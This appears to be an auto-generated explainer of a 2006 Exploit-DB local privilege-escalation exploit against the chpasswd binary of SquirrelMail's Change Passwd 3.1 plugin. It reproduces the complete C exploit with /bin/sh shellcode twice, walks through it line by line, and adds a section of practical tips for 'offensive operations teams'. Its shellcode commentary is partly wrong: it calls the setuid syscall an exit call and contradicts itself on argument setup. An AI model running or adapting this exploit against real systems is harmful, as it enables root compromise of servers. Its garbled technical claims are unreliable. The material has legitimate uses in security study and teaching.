SquirrelMail Change Passwd Plugin Local Buffer Overflow Explained

SquirrelMail Change Passwd Plugin Local Buffer Overflow Explained
What this paper is
This paper details a local buffer overflow vulnerability in the chpasswd utility used by the SquirrelMail webmail client's "Change Passwd" plugin, specifically version 3.1. The vulnerability allows an attacker with local access to the server to execute arbitrary code by exploiting how command-line arguments are handled.
Simple technical breakdown
The core issue is that the chpasswd utility doesn't properly check the size of the input it receives when processing command-line arguments. The exploit crafts a specially designed string that is longer than the buffer allocated to hold it. When this oversized string is processed, it overwrites adjacent memory, including the return address on the stack. By carefully controlling the overflow, the attacker can redirect the program's execution flow to their own malicious code (shellcode) that is also injected into the program's memory.
Complete code and payload walkthrough
The provided C code exploits a buffer overflow in the chpasswd utility. Let's break down each part.
1. Shellcode:
const char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\xb0\x17\x31\xdb\xcd\x80"
"\x89\xe5\x31\xc0\x50\x55\x89\xe5"
"\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x89\xe9\x89"
"\xea\xb0\x0b\xcd\x80";Purpose: This is the actual malicious code that will be executed. It's written in x86 assembly and is designed to spawn a shell.
Breakdown:
\x90(NOP - No Operation): These are padding bytes. They do nothing but advance the instruction pointer. They are used to fill space and ensure the shellcode starts at a predictable location or to align the code.\x31\xc0:xorl %eax, %eax- Clears theeaxregister.\xb0\x17:movb $0x17, %al- Moves the value0x17(decimal 23) into the lower byte ofeax. This corresponds to thesys_exitsystem call number.\x31\xdb:xorl %ebx, %ebx- Clears theebxregister.\xcd\x80:int $0x80- Triggers a software interrupt to make a system call. In this context, witheaxset to0x17, it attempts to exit the program. This part seems to be a placeholder or an initial attempt that might not be the primary goal of the shellcode.\x89\xe5:movl %esp, %ebp- Sets the base pointer (ebp) to the current stack pointer (esp). This is common for setting up a new stack frame.\x31\xc0:xorl %eax, %eax- Clearseaxagain.\x50:pushl %eax- Pushes the value ofeax(which is 0) onto the stack. This is likely preparing for theexecvesystem call, which expects a null-terminated argument list.\x55:pushl %ebp- Pushes the current base pointer onto the stack.\x89\xe5:movl %esp, %ebp- Sets the base pointer to the current stack pointer. This is redundant with the earliermovl %esp, %ebpif the stack hasn't changed significantly, but it's harmless.\x50:pushl %eax- Pushes 0 onto the stack again.\x68\x6e\x2f\x73\x68:pushl $0x68732f6e- Pushes the ASCII string "/shn" (reversed byte order) onto the stack.\x68\x2f\x2f\x62\x69:pushl $0x69622f2f- Pushes the ASCII string "//bi" (reversed byte order) onto the stack.\x89\xe3:movl %esp, %ebx- Moves the current stack pointer (which now points to the beginning of the string "//bin/sh") intoebx. This sets up the first argument forexecve(the path to the executable).\x89\xe9:movl %esp, %ecx- Moves the current stack pointer intoecx. This is intended to point to the argument list forexecve. However, the stack pointer has been modified by pushes. This might be an error or a specific technique. Correction: The stack pointerespis pointing to the string "//bin/sh". Pushingeax(0) andebp(which is nowesp) would shiftesp. Themovl %esp, %ecxwould then point to the argument list, which would be[0, <old ebp>, 0]. This is not the standard way to prepare arguments forexecve. A more typical approach would be to push the arguments and thenmovl %esp, %ebxfor the path,pushl %eax(for NULL terminator),movl %esp, %ecxforargv, andpushl %eax,movl %esp, %edxforenvp.\x89\xea:movl %esp, %edx- Moves the current stack pointer intoedx. This is intended to point to the environment variables forexecve. Similar toecx, this might be incorrectly set up depending on the exact stack state.\xb0\x0b:movb $0xb, %al- Moves the value0xb(decimal 11) into the lower byte ofeax. This corresponds to thesys_execvesystem call number.\xcd\x80:int $0x80- Triggers a software interrupt to make a system call. Witheaxset to0xb, this executesexecve("/bin/sh", ["/bin/sh", NULL], NULL).
Mapping:
\x90x 24: Padding (NOPs)\x31\xc0\xb0\x17\x31\xdb\xcd\x80: Exit attempt (likely unused or for debugging)\x89\xe5\x31\xc0\x50\x55\x89\xe5: Stack frame setup\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69: Pushing "/bin/sh" string onto the stack (reversed)\x89\xe3: Move stack pointer toebx(argument 1: path)\x89\xe9: Move stack pointer toecx(argument 2: argv)\x89\xea: Move stack pointer toedx(argument 3: envp)\xb0\x0b\xcd\x80: Executeexecve("/bin/sh", ...)
2. get_sp() function:
long get_sp(){
__asm__("movl %esp,%eax;");
};Purpose: This function retrieves the current value of the stack pointer (
esp) and returns it.Breakdown:
__asm__("movl %esp,%eax;"): This is an inline assembly statement. It directly tells the compiler to insert the assembly instructionmovl %esp, %eax. This instruction copies the value of the stack pointer (%esp) into theeaxregister. Theeaxregister is typically used for function return values in x86 architecture.
Mapping:
movl %esp,%eax: Get current stack pointer and place it ineaxfor return.
3. main() function:
int main(){
char buffer[1024];
long stack = get_sp();
int result = 1;
long offset = 0;
printf ("[!] Change_passwd v3.1(SquirrelMail plugin) exploit\n");
printf ("[+] Current stack [0x%x]\n",stack);
while(offset <= 268435456){
offset = offset + 1;
stack = get_sp() + offset;
memcpy(&buffer,"EGG=",4);
int a = 4;
while(a <= 108){
memcpy(&buffer[a],"x",1);
a = a + 1;}
memcpy(&buffer[108],&stack,4);
memcpy(&buffer[112],&shellcode,sizeof(shellcode));
putenv(buffer);
result = system("./chpasswd $EGG");
if(result == 0){exit(0);};
};
};Purpose: This is the main execution loop of the exploit. It attempts to find the correct offset on the stack to overwrite the return address and then executes the vulnerable
chpasswdcommand.Breakdown:
char buffer[1024];: Declares a character array (buffer) of 1024 bytes. This buffer will be used to construct the malicious input string.long stack = get_sp();: Callsget_sp()to get the initial stack pointer value. This is a starting point for finding the correct return address.int result = 1;: Initializes a variable to store the result of thesystem()call.long offset = 0;: Initializes an offset variable. This will be incremented to probe different locations on the stack.printf ("[!] Change_passwd v3.1(SquirrelMail plugin) exploit\n");: Prints an informational message.printf ("[+] Current stack [0x%x]\n",stack);: Prints the initial stack pointer address.while(offset <= 268435456){ ... }: This is the main loop. It iterates a very large number of times (2^28), incrementingoffseteach time. This is a brute-force approach to find the correct stack alignment.offset = offset + 1;: Increments the offset.stack = get_sp() + offset;: Recalculates the target stack address by adding the currentoffsetto the current stack pointer. Thisstackvariable will be used as the overwrite for the return address.memcpy(&buffer,"EGG=",4);: Copies the string "EGG=" (4 bytes) into the beginning of thebuffer. This is likely used as an environment variable name.int a = 4; while(a <= 108){ memcpy(&buffer[a],"x",1); a = a + 1;}: This loop fills the buffer from index 4 up to index 108 with the character 'x'. This creates a "nop sled" or padding of 'x' characters. The total length of these 'x's is108 - 4 = 104bytes.memcpy(&buffer[108],&stack,4);: Copies the calculatedstackaddress (which is the target return address) into the buffer at offset 108. This is the crucial part where the return address is overwritten.memcpy(&buffer[112],&shellcode,sizeof(shellcode));: Copies the shellcode into the buffer starting at offset 112. This places the shellcode immediately after the overwritten return address.putenv(buffer);: This is a critical step. It takes the constructedbuffer(e.g., "EGG=xxxxxxxx...shellcode...") and adds it to the environment variables of the current process. The chpasswdutility will likely read this environment variable.result = system("./chpasswd $EGG");: This executes thechpasswdcommand. The$EGGpart tells the shell to substitute the value of the environment variable namedEGG. Since we just setEGGto our crafted string, this is how the vulnerablechpasswdutility receives the oversized input.if(result == 0){exit(0);};: If thesystem()call returns 0, it meanschpasswdlikely executed successfully (which, in this context, means the shellcode was executed and exited cleanly, orchpasswditself exited successfully after the overflow). The exploit then exits.
Mapping:
char buffer[1024];: Buffer for crafting the exploit string.long stack = get_sp();: Get initial stack pointer.long offset = 0;: Offset for stack probing.while(offset <= 268435456): Brute-force loop to find the correct offset.offset = offset + 1;: Increment offset.stack = get_sp() + offset;: Calculate target return address.memcpy(&buffer,"EGG=",4);: Set environment variable name.while(a <= 108){ memcpy(&buffer[a],"x",1); a = a + 1;}: Fill buffer with 'x' padding (NOP sled).memcpy(&buffer[108],&stack,4);: Overwrite return address with calculatedstackvalue.memcpy(&buffer[112],&shellcode,sizeof(shellcode));: Append shellcode.putenv(buffer);: Add the crafted string as an environment variable.result = system("./chpasswd $EGG");: Execute the vulnerable command, passing the crafted string via the environment.if(result == 0){exit(0);};: Exit if shellcode execution is successful.
Overall Payload Flow:
- The exploit program starts.
- It determines the current stack pointer.
- It enters a loop, incrementing an
offset. - In each iteration, it constructs a string:
- Starts with "EGG=".
- Followed by many 'x' characters (intended as a NOP sled).
- Followed by a calculated address on the stack (the target return address).
- Followed by the shellcode.
- This string is added to the environment variables using
putenv(). - The
system()call executes./chpasswd $EGG. The shell expands$EGGto the crafted string. - The
chpasswdutility, when processing the argument from the environment variable, suffers a buffer overflow. - The overflow overwrites the return address on the stack, pointing it to the shellcode.
- When
chpasswdattempts to return, it jumps to the shellcode. - The shellcode executes, spawning a
/bin/shshell. - If the shellcode executes and exits cleanly (returning 0), the exploit program terminates.
Practical details for offensive operations teams
- Required Access Level: Local access to the target system is required. This means the attacker must have an account on the system or be able to execute code on it through another vulnerability.
- Lab Preconditions:
- A target system running SquirrelMail version 3.1 with the "Change Passwd" plugin installed and enabled.
- The
chpasswdutility must be accessible and vulnerable. - The exploit code needs to be compiled on a compatible architecture (likely x86 Linux).
- The exploit needs to be able to execute the
system("./chpasswd $EGG")command, meaning thechpasswdbinary must be in the current PATH or specified with its full path.
- Tooling Assumptions:
- A C compiler (like GCC) to compile the exploit.
- Standard Linux utilities (
printf,memcpy,putenv,system). - The
chpasswdbinary itself needs to be present and vulnerable.
- Execution Pitfalls:
- Stack Address Guessing: The
while(offset <= 268435456)loop is a brute-force method to find the correct stack address. This loop is extremely long and might take a significant amount of time. In a real-world scenario, an attacker would try to determine the stack address more precisely through other means (e.g., debugging, information disclosure). The exact stack address can vary based on the OS, kernel version, compiler, and other running processes. - NOP Sled Effectiveness: The 'x' characters are intended as a NOP sled. If the overwritten return address is anywhere within this sled, execution will slide down to the shellcode. The size and placement of the NOP sled are critical.
- Environment Variable Handling: The exploit relies on
chpasswdreading its input from an environment variable namedEGG. Ifchpasswdis invoked differently or doesn't process environment variables in the expected way, the exploit will fail. - ASLR/DEP: Modern systems often have Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP) which would make this type of exploit much harder to succeed without further techniques (like information leaks or ROP chains). This exploit is from 2006, predating widespread ASLR adoption.
- Shellcode Size and Placement: The shellcode must fit within the available overflow space and be reachable by the overwritten return address. The current placement is immediately after the return address overwrite.
system()call limitations: Thesystem()call might be restricted in some environments.chpasswdbinary location: The exploit assumes./chpasswdis executable and in the current directory or PATH.
- Stack Address Guessing: The
Where this was used and when
- Context: This exploit targets a specific plugin within SquirrelMail, a webmail client. This implies an attacker would need to gain local access to the server hosting SquirrelMail. The vulnerability was published in January 2006.
- Usage: Exploits of this nature were common in the mid-2000s for gaining initial access or escalating privileges on compromised web servers. The fact that it's a local exploit means it's typically used after an initial compromise or by an insider.
Defensive lessons for modern teams
- Input Validation is Paramount: Always validate the size and content of user-supplied input, especially when it's passed to external commands or utilities. This includes command-line arguments and environment variables.
- Secure Coding Practices: Developers must be aware of buffer overflow vulnerabilities and use safe functions (e.g.,
strncpy,snprintfinstead ofstrcpy,sprintf) or employ modern memory-safe languages. - Patch Management: Keep all software, including webmail clients, plugins, and underlying system utilities, up-to-date with the latest security patches.
- Least Privilege: Run services and applications with the minimum necessary privileges to limit the impact of a successful exploit.
- Modern Security Controls: Implement and configure modern security features like ASLR, DEP, and exploit mitigation techniques in the operating system and applications.
- Environment Variable Security: Be cautious about how applications handle and process environment variables, as they can be a vector for injection attacks.
- Web Application Firewalls (WAFs): While this is a local exploit, WAFs can help prevent initial compromises that might lead to local access.
ASCII visual (if applicable)
+---------------------+
| Attacker's Machine |
+---------------------+
| (SSH/Local Access)
v
+---------------------+
| Target Server |
| +-----------------+ |
| | Web Server | |
| | +-------------+ | |
| | | SquirrelMail| | |
| | | (PHP/Perl) | | |
| | +-------------+ | |
| | | | |
| | v | |
| | +-------------+ | |
| | | chpasswd | | |
| | | (Vulnerable)| | |
| | +-------------+ | |
| | ^ | |
| | | (Exploit) | |
| | | | |
| | +-------------+ | |
| | | Shellcode | | |
| | +-------------+ | |
| +-----------------+ |
+---------------------+Explanation:
- The attacker gains local access to the target server.
- They execute the exploit program.
- The exploit program crafts a malicious string and sets it as an environment variable.
- The exploit then calls the
chpasswdutility viasystem(). chpasswdreads the environment variable, triggering a buffer overflow.- The overflow redirects execution to the injected shellcode.
- The shellcode spawns a shell, giving the attacker control.
Source references
- Exploit-DB Paper: https://www.exploit-db.com/papers/1449
- Original Source Code: Provided within the paper.
Original Exploit-DB Content (Verbatim)
/*
Change passwd 3.1 (SquirrelMail plugin )
Coded by rod hedor
web-- http://lezr.com
[local exploit]
* Multiple buffer overflows are present in the handling of command line arguements in chpasswd.
The bug allows a hacker to exploit the process to run arbitrary code.
*/
#include <stdio.h>
#include <stdlib.h>
const char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\xb0\x17\x31\xdb\xcd\x80"
"\x89\xe5\x31\xc0\x50\x55\x89\xe5"
"\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x89\xe9\x89"
"\xea\xb0\x0b\xcd\x80";
long get_sp(){
__asm__("movl %esp,%eax;");
};
int main(){
char buffer[1024];
long stack = get_sp();
int result = 1;
long offset = 0;
printf ("[!] Change_passwd v3.1(SquirrelMail plugin) exploit\n");
printf ("[+] Current stack [0x%x]\n",stack);
while(offset <= 268435456){
offset = offset + 1;
stack = get_sp() + offset;
memcpy(&buffer,"EGG=",4);
int a = 4;
while(a <= 108){
memcpy(&buffer[a],"x",1);
a = a + 1;}
memcpy(&buffer[108],&stack,4);
memcpy(&buffer[112],&shellcode,sizeof(shellcode));
putenv(buffer);
result = system("./chpasswd $EGG");
if(result == 0){exit(0);};
};
};
// milw0rm.com [2006-01-25]